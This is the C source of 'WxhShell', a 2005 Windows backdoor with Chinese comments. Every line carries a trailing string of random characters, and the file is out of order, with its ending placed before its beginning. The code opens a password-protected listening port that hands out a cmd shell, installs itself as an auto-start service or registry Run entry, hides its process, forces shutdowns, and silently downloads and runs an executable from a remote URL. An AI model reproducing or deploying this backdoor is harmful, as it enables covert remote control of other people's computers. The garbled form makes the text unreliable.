    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :=04_5 z  
    else { 8eP2B281  
    closesocket(wsh); "fLGXbNQ  
    ExitThread(0); [d!C6FT  
    } @18@[ :d"  
    break; xM%E;  
    } {xt<`_R  
  // 获取shell yy?|q0  
  case 's': { ] K7>R0  
    CmdShell(wsh); ?Gl'-tV  
    closesocket(wsh); EU,4qO  
    ExitThread(0); 6<H[1PI`,G  
    break;  e4NT  
  } 8QYG"CA6/  
  // 退出 sTqy-^e7  
  case 'x': { =!xeki]|9  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~nb%w?vv  
    CloseIt(wsh); (7 Mn%Jp  
    break; t Zj6=#  
    } :5?ti  
  // 离开 tBG :ECUL  
  case 'q': { TMG:fg&E~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); C5Q|3d  
    closesocket(wsh); #I@]8U#,":  
    WSACleanup(); L&ws[8-  
    exit(1); X.s? =6}g  
    break; {549&]/o  
        } "}K/ b  
  } BmrP]3W?  
  } 6K P!o  
5S7`gN.  
  // 提示信息 1 7{]QuqNF  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,?B.+4CW\E  
} ^iubqtT]  
  } %R;cXs4r  
cFUYT$8>  
  return; d^ !3bv*h  
} H'I|tPs  
|dD!@K  
// shell模块句柄  -/  
int CmdShell(SOCKET sock) 3HbHl?-UNU  
{ Kggf!\MR8  
STARTUPINFO si; 1:7>Em<s  
ZeroMemory(&si,sizeof(si)); D4'? V Iz  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; v\-"NHl  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; sNvT0  
PROCESS_INFORMATION ProcessInfo; $?Aez/  
char cmdline[]="cmd"; t@.gmUUA  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7OtQK`P"A  
  return 0; `P/*x[?  
} U`6QD}c"s  
G !1- 20  
// 自身启动模式 f'FY<ed<w  
int StartFromService(void) V@>?lv(\  
{ 6WfyP@ f  
typedef struct dGIu0\J\$  
{ <zZAVGb4I  
  DWORD ExitStatus; CX':nai  
  DWORD PebBaseAddress; uc Z(D|a   
  DWORD AffinityMask; ? z=>n  
  DWORD BasePriority; =AL95"cH~  
  ULONG UniqueProcessId; .ET;wK  
  ULONG InheritedFromUniqueProcessId; JIb<>X,  
}   PROCESS_BASIC_INFORMATION; Pms3X  
xOT'4v&.  
PROCNTQSIP NtQueryInformationProcess; K- }k-S  
`r*6P^P  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ? |8&!F  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; !+ uMH!  
'dWJ#9C  
  HANDLE             hProcess; phXVuQ  
  PROCESS_BASIC_INFORMATION pbi; &K>]!yn   
X""'}X|O  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1AE/ILGo  
  if(NULL == hInst ) return 0; 7v,>sX  
F5 LQgK-z  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); iqy}|xAU  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Y ga}8DU  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); tEN]0`  
mApn(&  
  if (!NtQueryInformationProcess) return 0; =~=/ dq  
t C6c4j  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 1xguG7  
  if(!hProcess) return 0; !-.-!hBN  
v9inBBC q  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _D,8`na>K  
tB_V%qH  
  CloseHandle(hProcess); hsqUiB tc6  
W$'pUhq\H  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); C9=f=sGL  
if(hProcess==NULL) return 0; J$e.$ah;  
K,IOD t  
HMODULE hMod; N7oMtlvL[w  
char procName[255]; J~_p2TZJ\3  
unsigned long cbNeeded; J.<eX=<  
l*v([@A\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =rBFMTllM  
7Ck;LF}>0  
  CloseHandle(hProcess); =\XAD+  
'oT}jI  
if(strstr(procName,"services")) return 1; // 以服务启动 SAH\'v0  
NPoXz  
  return 0; // 注册表启动 ,O[vxN1X*  
} >`{i[60r  
BB%(!O4Dl  
// 主模块 (Wx)YI  
int StartWxhshell(LPSTR lpCmdLine) Ap!UX=HBb  
{ 0H>Fyl2_  
  SOCKET wsl; 7_K(x mK  
BOOL val=TRUE; tjd"05"@:  
  int port=0; vj^U F(X  
  struct sockaddr_in door; ZH0f32K  
`%ENGB|  
  if(wscfg.ws_autoins) Install(); N"T8 Pt  
Q?"[zX1  
port=atoi(lpCmdLine); /6q/`vx@  
E`?BaCrG~  
if(port<=0) port=wscfg.ws_port; cEqh|Q  
P);Xke  
  WSADATA data; )K?GAj]Pq  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ! 4oIx`  
5t<]|-i!  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #>- rKv.A  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 6VE >$`m  
  door.sin_family = AF_INET; ##s !-.T  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6sZRR{'  
  door.sin_port = htons(port); xc/|#TC8?  
<GNOT"z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { l?R_wu,Q  
closesocket(wsl); 0l:5hD,)F  
return 1; eXOFAd]>u  
} X~DXx/9  
P9>C!0 -x  
  if(listen(wsl,2) == INVALID_SOCKET) { 6AwnmGL(;;  
closesocket(wsl); UpIf t=@P  
return 1; u}:O[DG  
} Tb)x8-0  
  Wxhshell(wsl); :9`1bZ?a  
  WSACleanup(); p|FX_4RjX  
O#EBR<CuK  
return 0; ZGbZu  
%om7h$D =`  
} E1C8yIF  
>WDpBn:  
// 以NT服务方式启动 gK<-*v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) h4qR\LX  
{ gU~)(|Nu.  
DWORD   status = 0; up1aFzY|6x  
  DWORD   specificError = 0xfffffff; !<LS4s;  
<=-\so(  
  serviceStatus.dwServiceType     = SERVICE_WIN32; z<fEJN  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 2"MI8EK  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8;'n.SC{  
  serviceStatus.dwWin32ExitCode     = 0; UA9LI<Y  
  serviceStatus.dwServiceSpecificExitCode = 0; M[{Cy[ta  
  serviceStatus.dwCheckPoint       = 0; 7_3O]e[8  
  serviceStatus.dwWaitHint       = 0; "J.jmR;  
Tk!b`9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `o3d@Vc  
  if (hServiceStatusHandle==0) return; \k,bz 0  
M/DTD98'N  
status = GetLastError(); :3t])mL#   
  if (status!=NO_ERROR) Yo(B8}?0!  
{ i\ Vpp8<B  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; NN:TT\!v  
    serviceStatus.dwCheckPoint       = 0; {DK:"ep  
    serviceStatus.dwWaitHint       = 0; >YfOR%mS4  
    serviceStatus.dwWin32ExitCode     = status; L)+ eM&W  
    serviceStatus.dwServiceSpecificExitCode = specificError; U .Od  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); vj b?N  
    return; m#ie{u^  
  } :mrGB3x{  
/trc&V  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ks5'Z8X  
  serviceStatus.dwCheckPoint       = 0; O9_YVE/-]  
  serviceStatus.dwWaitHint       = 0; )QE_+H}p  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5oKc=iX_3  
} xY S%dLE"  
YXtGuO\q  
// 处理NT服务事件,比如:启动、停止 (=/F=,w   
VOID WINAPI NTServiceHandler(DWORD fdwControl) v wyDY%B"n  
{ :=Q|gRTL*  
switch(fdwControl) _+N^yw,r*  
{ Pc7: hu  
case SERVICE_CONTROL_STOP: p~.@8r(  
  serviceStatus.dwWin32ExitCode = 0; 1IV 0a  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; f UIs(}US  
  serviceStatus.dwCheckPoint   = 0; KR}0(,Y  
  serviceStatus.dwWaitHint     = 0; &rl>{Uvq  
  { $Y`aS^IW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); U. aa iX7  
  } o.5j@ dr  
  return; Tpukz_F  
case SERVICE_CONTROL_PAUSE: /wTf&_"mTL  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Wj:QC<5 v  
  break; a  98  
case SERVICE_CONTROL_CONTINUE: ' XF`&3 i  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; v'!Nt k  
  break; 3+-(;>>\  
case SERVICE_CONTROL_INTERROGATE: h9I )<_}R  
  break; X*"K g  
}; nIjQLx  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g5Dx9d{  
} {K:Utdu($q  
$dP)8_Z2  
// 标准应用程序主函数 xu =B  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) _@N)]!\MgP  
{ dM UDLr-  
? iX=2-  
// 获取操作系统版本 /;rN/ot2o  
OsIsNt=GetOsVer(); \ V>%yl{8  
GetModuleFileName(NULL,ExeFile,MAX_PATH);  YBD{l  
AD\<}/3U  
  // 从命令行安装 L:M9|/  
  if(strpbrk(lpCmdLine,"iI")) Install(); V,+[XB  
tFaE cP  
  // 下载执行文件 @?m8/t9 .  
if(wscfg.ws_downexe) { {^W,e ^:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) \.c )^QQ  
  WinExec(wscfg.ws_filenam,SW_HIDE); H g`{9v  
} mM} Ukmy  
|T_Pz& -  
if(!OsIsNt) { @vYmkF`  
// 如果时win9x,隐藏进程并且设置为注册表启动 'pY;]^M  
HideProc(); 0s|LK  
StartWxhshell(lpCmdLine); -;\+uV  
} rk/ c  
else EYxRw  
  if(StartFromService()) 5}xni  
  // 以服务方式启动 pq3  A%|  
  StartServiceCtrlDispatcher(DispatchTable); wzPw; xuG  
else igrog  
  // 普通方式启动 ;8i L,^.A  
  StartWxhshell(lpCmdLine); ~ n^G<iXLp  
0f%:OU5Y  
return 0; R2aK5~   
} Sx)Il~ x  
{z/^X<T  
9.zQ<k2  
$Je"z]cy-  
=========================================== 4nH91Z9=  
*Qx|5L!_  
LU,"i^T  
" ^baiN@ac  
i=UTc1  
WcwW@cY7\  
" y8vH?^:%<  
+n[wkgFd  
#include <stdio.h> I#X2 UQzP  
#include <string.h> U%DF!~n  
#include <windows.h> Bh,)5E^m  
#include <winsock2.h> kc'0NE4oq  
#include <winsvc.h> %Z[/U  
#include <urlmon.h> 1MI7l)D?  
I'9s=~VfY,  
#pragma comment (lib, "Ws2_32.lib") +M##mRD  
#pragma comment (lib, "urlmon.lib") [4Faq3T"  
^D;D8A.  
#define MAX_USER   100 // 最大客户端连接数  6b]d|  
#define BUF_SOCK   200 // sock buffer h ^h-pd  
#define KEY_BUFF   255 // 输入 buffer GR ?u?-  
W)!{U(X  
#define REBOOT     0   // 重启 5@D7/$bLp  
#define SHUTDOWN   1   // 关机 Hu9R.[u  
lF8 dRIav  
#define DEF_PORT   5000 // 监听端口 o,Zng4NY  
O*03PF^  
#define REG_LEN     16   // 注册表键长度 ]cqZ!4?_  
#define SVC_LEN     80   // NT服务名长度 z|]oM#Gt  
~}IvY?! ;  
// 从dll定义API SxZ^ "\H  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ]KK ZbEO  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); G 0QXf  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); DIqT>HHZ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); NhoS7 y(  
fuD1U}c  
// wxhshell配置信息 .Spi$>v  
struct WSCFG { y8hg8J|  
  int ws_port;         // 监听端口 .x!7  
  char ws_passstr[REG_LEN]; // 口令 StZRc\k  
  int ws_autoins;       // 安装标记, 1=yes 0=no X;6r $   
  char ws_regname[REG_LEN]; // 注册表键名 VuMDV6^Z  
  char ws_svcname[REG_LEN]; // 服务名 sRyw\v-=P  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 sIRrEea  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $',GkK{NX  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +Bq}>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ]X: rby$  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" R_Gq8t$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !+A"Lej  
|/\U^AHm"h  
}; S`c]Fc  
JXY!c\,  
// default Wxhshell configuration `H2F0{\og  
struct WSCFG wscfg={DEF_PORT, CoUd16*"JM  
    "xuhuanlingzhe", }1]!#yMfq  
    1, OgXZ-<'  
    "Wxhshell", oA;jy  
    "Wxhshell", 9{%g-u \  
            "WxhShell Service", -hVv  
    "Wrsky Windows CmdShell Service", 'hlB;z|T  
    "Please Input Your Password: ", c_G-R+  
  1, bN4&\d*u#  
  "http://www.wrsky.com/wxhshell.exe", 7 xp1\j0  
  "Wxhshell.exe" )YnI !v2T  
    }; @x=BJuUuX  
loC5o|Wh  
// 消息定义模块 7c29Ua~[  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; E7yf[/it  
char *msg_ws_prompt="\n\r? for help\n\r#>"; f1Yv hvWL  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1V**QSZ1  
char *msg_ws_ext="\n\rExit."; /SCZ&  
char *msg_ws_end="\n\rQuit."; EK8E  
char *msg_ws_boot="\n\rReboot..."; YZBzv2'\x  
char *msg_ws_poff="\n\rShutdown..."; qsft*&  
char *msg_ws_down="\n\rSave to "; nrS[7~  
LN.Bd,  
char *msg_ws_err="\n\rErr!"; (]}x[F9l  
char *msg_ws_ok="\n\rOK!"; cPx ~|,)l  
\ L9?69B~  
char ExeFile[MAX_PATH]; _ 7BF+*T  
int nUser = 0; nG},v%  
HANDLE handles[MAX_USER]; :n+y/6 *  
int OsIsNt; $ o5V$N D  
T^'*_*m  
SERVICE_STATUS       serviceStatus; I[g?Ju >  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; AY&9JSu 6  
=MJ-s;raq  
// 函数声明 8L7Y A)u  
int Install(void); V/(`Ek-  
int Uninstall(void); TRk ?8  
int DownloadFile(char *sURL, SOCKET wsh); co<2e#p;  
int Boot(int flag); 4aalhy<j  
void HideProc(void); 1=/doo{^  
int GetOsVer(void); Pe$^Mo.q  
int Wxhshell(SOCKET wsl); 6`DwEs?Y{  
void TalkWithClient(void *cs); r;cI}'  
int CmdShell(SOCKET sock); m6_~`)R8  
int StartFromService(void); #}/cM2m  
int StartWxhshell(LPSTR lpCmdLine); *h*j%  
C,|nmlDN  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); yhSk"e'G  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _@#uIOcE  
_OJ0 < {E  
// 数据结构和表定义 '<?v:pb9  
SERVICE_TABLE_ENTRY DispatchTable[] = |t&G&)~:  
{ 0NCOz(L/  
{wscfg.ws_svcname, NTServiceMain}, ot@|blVC8  
{NULL, NULL} 3@PUg(M  
}; +p9LE4g7Q  
yD3bl%uZ  
// 自我安装 u#41osUVW>  
int Install(void) MPKpS3VS  
{ OX)#F'Sl}  
  char svExeFile[MAX_PATH]; N+\oFbE  
  HKEY key; `7QvwXsH]  
  strcpy(svExeFile,ExeFile); u8-a-k5<  
MtpU~c  
// 如果是win9x系统,修改注册表设为自启动 MiSja#"+A  
if(!OsIsNt) { ]5} -y3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lL:KaQ0E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A~6%,q@^jh  
  RegCloseKey(key); Qb!!J4| !  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z'?7]C2b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5T$}Oy1  
  RegCloseKey(key); saGRP}7?  
  return 0; -TzI>Fz  
    } N{1.g S  
  } )myf)"l5  
} o,S!RG&  
else { !dfS|BA]  
!Qv5"_  
// 如果是NT以上系统,安装为系统服务 J6)efX)j-p  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); C6K|:IK{  
if (schSCManager!=0) <Jwi ~I=^  
{ z>cIiprX  
  SC_HANDLE schService = CreateService F^.om2V|9  
  ( ki;!WhF~  
  schSCManager, BW'L.*2  
  wscfg.ws_svcname, wXr>p)mP  
  wscfg.ws_svcdisp, aL8p"iSG9  
  SERVICE_ALL_ACCESS, i{TIm}_\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , bK ?1MiXb  
  SERVICE_AUTO_START, Y brx%  
  SERVICE_ERROR_NORMAL, 1YJ_1VJ  
  svExeFile, GXT]K>LA  
  NULL, u iBl#J Q  
  NULL, |7svA<<[  
  NULL, BCBEX&0hk{  
  NULL, X|X4L(i  
  NULL t2=a(N-/,  
  ); p//T7r s  
  if (schService!=0) a$C2}  
  { Ho|o,XvLv  
  CloseServiceHandle(schService); N7e`6d!  
  CloseServiceHandle(schSCManager); <\ y!3;  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); k0H?9Z4k5  
  strcat(svExeFile,wscfg.ws_svcname); 44\!PYf7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6N9 c<JC  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); b->eg 8|  
  RegCloseKey(key); 1pd 9s8CA  
  return 0; lemVP'cn  
    } p Tcbq  
  } *-?Wcz  
  CloseServiceHandle(schSCManager); EfFz7j&X  
} Yuwc$Qp)  
} 7#~4{rjg  
j(0Ilx|7v  
return 1; cwk+#ur  
} )D:9R)m  
YSqv86  
// 自我卸载 *,"jF!C&[  
int Uninstall(void) By2s']bw  
{ Ee{`Y0  
  HKEY key; i~9?:plS  
}P#Vsqe V  
if(!OsIsNt) { K@q&HV"'.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { qOW#Q:T  
  RegDeleteValue(key,wscfg.ws_regname); t:\l&R&  
  RegCloseKey(key); ~V @;(_T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X6Un;UL  
  RegDeleteValue(key,wscfg.ws_regname); cb +l"FI7  
  RegCloseKey(key); ^:m^E0(H  
  return 0; p={Jf}v  
  } }-d)ms!  
} EbCIIMbe"  
} K'x4l,rq  
else { fi=0{  
dw~[9oh  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ):3MYSqX  
if (schSCManager!=0) a*D,*C5}  
{ v9u<F6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ERF,tLa!  
  if (schService!=0) w'A tf  
  { ar Q)%W  
  if(DeleteService(schService)!=0) { %Nj #0YF]  
  CloseServiceHandle(schService); QS^~77q  
  CloseServiceHandle(schSCManager); N*Yy&[  
  return 0; 2R~6<W+&:>  
  } $ K})Q3FNi  
  CloseServiceHandle(schService); d]8_l1O  
  } Q8;#_HE  
  CloseServiceHandle(schSCManager); yk<VlS  
} ^ pj>9%  
} XlVc\?  
>W r$Y{  
return 1; eI^gV'UK  
} 0mTEim  
?{eY\I  
// 从指定url下载文件 F$i$a b  
int DownloadFile(char *sURL, SOCKET wsh) R<|ejw  
{ R\*)@[y9l  
  HRESULT hr; s2^B(wP  
char seps[]= "/"; f27)v(EJ  
char *token; k=?^){[We  
char *file; Jn=42Q:>  
char myURL[MAX_PATH]; \]I  
char myFILE[MAX_PATH]; 8"x9#kyU<3  
(_K_`5d;QI  
strcpy(myURL,sURL); )Ob]T{GY  
  token=strtok(myURL,seps); X'f)7RbT  
  while(token!=NULL) \b$<J.3  
  { 5X0QxnnV  
    file=token; Z ] '>  
  token=strtok(NULL,seps); r?pZ72 q  
  } 1SUzzlRx  
HMV)U{  
GetCurrentDirectory(MAX_PATH,myFILE); :N2E}hxk  
strcat(myFILE, "\\"); P[FV2R~  
strcat(myFILE, file); jJia.#.Ze  
  send(wsh,myFILE,strlen(myFILE),0); /YFa ;2 W  
send(wsh,"...",3,0); Q/py qe G  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); qEQAn/&  
  if(hr==S_OK) \]8VwsP  
return 0; } ~F~hf>s  
else `a >?UUT4  
return 1; +%XnMl  
]boE{R!I  
} L6+C]t}>6  
yAG+] r  
// 系统电源模块 C',6%6P  
int Boot(int flag) [/cIUQ  
{ 0Gsu  
  HANDLE hToken; i6Qb[\;  
  TOKEN_PRIVILEGES tkp; T#@{G,N  
zT7"VbP  
  if(OsIsNt) { (~&w-w3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); BqB |Fo  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Ns<?b;aK  
    tkp.PrivilegeCount = 1; \lEkfcc  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; zb:kanb-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =We2^W-{  
if(flag==REBOOT) { hm\\'_u  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {E51Kv&_  
  return 0; ;1`!wG-DD  
} 2Lfah?Tx~C  
else { E]1##6Ae  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) V&*D~Jq  
  return 0; NEV p8)w  
} s?c JV `  
  } 5/?P|T   
  else { ]JdJe6`Mc  
if(flag==REBOOT) { ,?(ciO)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `\N]wlB2/b  
  return 0; Jf_%<\ O  
} j;\[pg MR/  
else { d>|;f  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) q@l(Qol  
  return 0; E(4w5=8TI  
} uv]{1S{tb  
} s8vKKvs`9  
\|%E%Yc  
return 1; OCNPi4  
} BvK QlT  
fx)KNm8Lx  
// win9x进程隐藏模块 I\zemW!  
void HideProc(void) E^wyD-ii/  
{ '#D8*OP^  
Svw<XJ   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ((<`zx  
  if ( hKernel != NULL ) ()\jCNLT  
  { 9I .^LZ"  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); rF] +,4  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); | -+zofx  
    FreeLibrary(hKernel); "IFg RaP=  
  } /t5p-  
W~ruN4q.  
return; 4h8*mMghs  
} bL`eiol6  
2*2:-o cl$  
// 获取操作系统版本 z%sy$^v@vD  
int GetOsVer(void) I[D8""U  
{ M0w/wt|  
  OSVERSIONINFO winfo; }mk>!B}=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); y=Q!-~5|fF  
  GetVersionEx(&winfo); sg AzL  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) +Gh7^v|"  
  return 1; 6B6vP%H#  
  else |PP.<ce\-  
  return 0; N3%*7{X 9  
} q0./O|Dj   
.H~YI  
// 客户端句柄模块 V.=lGhi  
int Wxhshell(SOCKET wsl) b>11h  
{ fS=hpL6]@  
  SOCKET wsh; iw\%h9  
  struct sockaddr_in client; tFM$#JN  
  DWORD myID; 57Z-  
h`Tz5% n  
  while(nUser<MAX_USER) RMP9y$~3pU  
{ (9C<K<  
  int nSize=sizeof(client); Kat&U19YH  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +Qj(B@ i  
  if(wsh==INVALID_SOCKET) return 1; F)Oe9x\/  
[6tSYUZs  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); %j+xgX/&  
if(handles[nUser]==0) :P+\p=  
  closesocket(wsh); %J~WC$=Qv  
else p&Ed\aQ%z;  
  nUser++; _O]xey^r  
  } 7%;_kFRV  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); p2 %  
)uheV,ZnY  
  return 0; [[+ pMI  
} +TJ EG?o  
GP a`e  
// 关闭 socket c#cx>wq9  
void CloseIt(SOCKET wsh) k)7{Y9_No  
{ X}A'Cg0y  
closesocket(wsh); V/%~F6e  
nUser--; V diJ>d[  
ExitThread(0); #FH[hRo=6  
} v=?2S  
s?C&s|'.  
// 客户端请求句柄 @xAfZb2E  
void TalkWithClient(void *cs) z#6?8y2-  
{ ,d_Gn!  
. iwZ*b{  
  SOCKET wsh=(SOCKET)cs; & ,hr8  
  char pwd[SVC_LEN]; YY5!_k  
  char cmd[KEY_BUFF]; y~ rX l  
char chr[1]; DAO]uh{6  
int i,j; %)(Cp-b!  
3n;K!L%zMT  
  while (nUser < MAX_USER) { >BVoHt~;  
e'9r"<>i  
if(wscfg.ws_passstr) { }} ZY  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rS8 w\`_  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I5ZqBB  
  //ZeroMemory(pwd,KEY_BUFF); |> enp>  
      i=0; ~d >W?A  
  while(i<SVC_LEN) { v& $k9)]  
[wnDHy6W  
  // 设置超时 r@G#[.*A>  
  fd_set FdRead; WyhhCR=;  
  struct timeval TimeOut; PBjmGwg7  
  FD_ZERO(&FdRead); bBc-^  
  FD_SET(wsh,&FdRead); ]9 w76Z  
  TimeOut.tv_sec=8; $ &UZy|9  
  TimeOut.tv_usec=0; SU.ythU2,c  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); MXtkP1A `  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3'`dFY,  
/j2H A^GT  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #q\x$   
  pwd=chr[0]; K`-!uZW:B7  
  if(chr[0]==0xd || chr[0]==0xa) { 9i q""  
  pwd=0; #]Y>KX2HG  
  break; mN_Z7n;^eh  
  } /RnTQ4   
  i++; #FxPj-3(ix  
    } }hpm O-  
yV_wDeAz  
  // 如果是非法用户,关闭 socket A!i q->+  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); kFLB> j97  
} {Qu"%h.Al  
2}U!:bn(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); KzU lTl0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XzIx:J6  
w?Ju5 5  
while(1) { R9+jW'[K  
PJ4(}a  
  ZeroMemory(cmd,KEY_BUFF); @~td`Z?1 y  
#KlCZ~s  
      // 自动支持客户端 telnet标准   "2ru7Y"  
  j=0; _HOIT  
  while(j<KEY_BUFF) { E0n6$5Uc?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b \7iY&.C|  
  cmd[j]=chr[0]; l`9t}  
  if(chr[0]==0xa || chr[0]==0xd) { 0#o/^Ah  
  cmd[j]=0; k(VB+k"3  
  break; ,5 j"ruZ  
  } q!~ -(&S  
  j++; a?h*eAAc.  
    } &EGqgNl  
q'[}9e`Q  
  // 下载文件 w*9br SK  
  if(strstr(cmd,"http://")) { 26?W nu60  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); WiL2  
  if(DownloadFile(cmd,wsh)) lCd@jB{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5K%SL1N  
  else _*M42<wcO  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +0wT!DZW\=  
  } 8 )*2@-Rp  
  else { )j l 8!O7  
*A'FC|\  
    switch(cmd[0]) { ,i9Byx#TN  
  Ga>uFb}W~  
  // 帮助 K BE Ax3  
  case '?': { B;6]NCx D  
